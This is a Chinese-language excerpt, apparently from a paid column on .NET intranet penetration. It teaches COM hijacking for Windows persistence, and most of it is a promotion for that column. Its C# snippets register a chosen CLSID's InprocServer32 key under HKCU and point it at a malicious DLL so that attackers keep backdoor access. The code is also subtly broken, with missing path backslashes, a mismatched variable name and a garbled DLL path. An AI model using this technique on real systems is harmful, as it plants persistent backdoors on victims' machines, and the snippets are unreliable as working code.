01
阅读须知
此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。
02
原理介绍
COM劫持就是攻击者通过劫持Windows系统中的COM组件,实现对目标系统持久性的访问。通常情况下使用.NET实现COM劫持大概分为以下3步。
2.1 定义CLSID
首先,要想COM劫持,必须精心挑选CLSID,尽量选择应用范围广的CLSID。这里,我们选择的CLSID为:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}。具体定义如下所示。
string classid = "b5f8350b-0548-48b1-a6ee-88bd00b4a5e7";
string dllpath = "C:\Path\To\Malicious.dll";
该CLSID主要对CAccPropServicesClass 和 MMDeviceEnumerator的劫持。
2.2 创建注册表项
接着,在注册表中创建CLSID指向的InprocServer32键名,这里使用CreateSubKey方法。具体如下所示。
string registryPath = string.Format("Software\Classes\CLSID\{0}\InprocServer32", "b5f8350b-0548-48b1-a6ee-88bd00b4a5e7");
RegistryKey registryKey2 = Registry.CurrentUser.CreateSubKey(text2);
这段代码表示在Windows注册表中创建InprocServer32子键,返回一个表示HKEY_CURRENT_USER(HKCU)用户配置单元的RegistryKey对象,这样就可以访问和设置当前用户配置单元项。
2.3 设置键值指向DLL
最后,使用SetValue方法将SoftwareClassesCLSID\b5f8350b-0548-48b1-a6ee-88bd00b4a5e7\InprocServer32的值更新为calc.dll路径。
registryKey2.SetValue("","C:windowstempcalc.dll" );
registryKey2.Close();
Windows系统中还有很多类似的CLSID可以用来维持权限,攻击者可以利用它们在系统中植入后门并保持持久访问。想要了解更多内网权限维持的文章,可以移步小报童《.NET 内网实战攻防》电子报刊。
03
欢迎加入.NET内网安全攻防报刊
我们的小报童电子报刊【.NET内网安全攻防】也开始运营,引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足,为用户读者提供更佳的阅读体验。如果您对阅读体验的需求比较高,那么可以订阅这个专栏。
本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。
1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理
原价899,现在限时只需39元,永久买断!目前已有60位朋友抢先预定,我们会长期更新,初步计划保持每周更新1-2篇新内容,对.NET内网安全的朋友们请尽快订阅该报刊!
每增加五十人涨价10元,抓紧订阅,超值!订阅后请关注公众号:dotNet安全矩阵,发送订单截图和您的微信号,邀请您加入专属交流群。感兴趣的朋友,可以点击链接:https://xiaobot.net/p/dotNetAttack,或者扫描下方海报微信二维码加入即可,订阅后小报童定时会将最新内容通过微信推送给您。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...